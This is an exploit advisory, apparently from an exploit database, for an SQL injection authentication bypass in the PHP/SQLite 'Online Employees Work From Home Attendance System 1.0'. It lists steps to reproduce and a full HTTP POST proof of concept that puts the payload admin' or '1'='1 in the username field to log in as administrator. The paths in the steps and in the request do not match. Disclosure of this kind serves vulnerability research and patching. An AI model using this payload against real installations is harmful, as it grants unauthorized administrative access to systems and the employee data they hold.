# Exploit Title: Online Employees Work From Home Attendance System 1.0 - SQLi Authentication Bypass# Date: 08.10.2021# Exploit Author: Merve Oral# Vendor Homepage: https://www.sourcecodester.com/php/14981/online-employees-work-home-attendance-system-php-and-sqlite-free-source-code.html# Software Link: https://www.sourcecodester.com/download-code?nid=14981&title=Online+Employees+Work+From+Home+Attendance+System+in+PHP+and+SQLite+Free+Source+Code# Version: 1.0# Tested on: Windows 10, Kali Linux# Online Employees Work From Home Attendance System/Logs in a Web App v1.0 Login page can be bypassed with a simple SQLi to the username parameter.
Steps To Reproduce:1- Go to the login page http://localhost/audit_trail/login.php
2- Enter the payload to username field as"admin' or '1'='1" without double-quotes andtype anything to password field.3- Click on "Login" button and you are logged inas administrator.
PoC
POST /wfh_attendance/Actions.php?a=login HTTP/1.1
Host: merve
User-Agent: Mozilla/5.0(X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript,*/*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length:40
Origin: http://merve
Connection: close
Referer: http://merve/wfh_attendance/admin/login.php
Cookie: PHPSESSID=55nnlgv0kg2qaki92o2s9vl5rq
username=admin'+or+'1'%3D'1&password=any
